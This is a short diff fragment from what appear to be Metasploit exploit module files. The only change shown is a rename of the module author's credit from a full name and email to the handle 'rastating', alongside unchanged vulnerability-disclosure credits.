'Kacper Szurek', # Vulnerability disclosure
'Rob Carr <rob[at]rastating.com>' # Metasploit module
'Kacper Szurek', # Vulnerability disclosure
'rastating' # Metasploit module
],
'References' =>
[

View File

@ -25,8 +25,8 @@ class MetasploitModule < Msf::Exploit::Remote
'License' => MSF_LICENSE,
'Author' =>
[
'Alexander Borg', # Vulnerability disclosure
'Rob Carr <rob[at]rastating.com>' # Metasploit module
'Alexander Borg', # Vulnerability disclosure
'rastating' # Metasploit module
],
'References' =>
[

Some files were not shown because too many files have changed in this diff Show More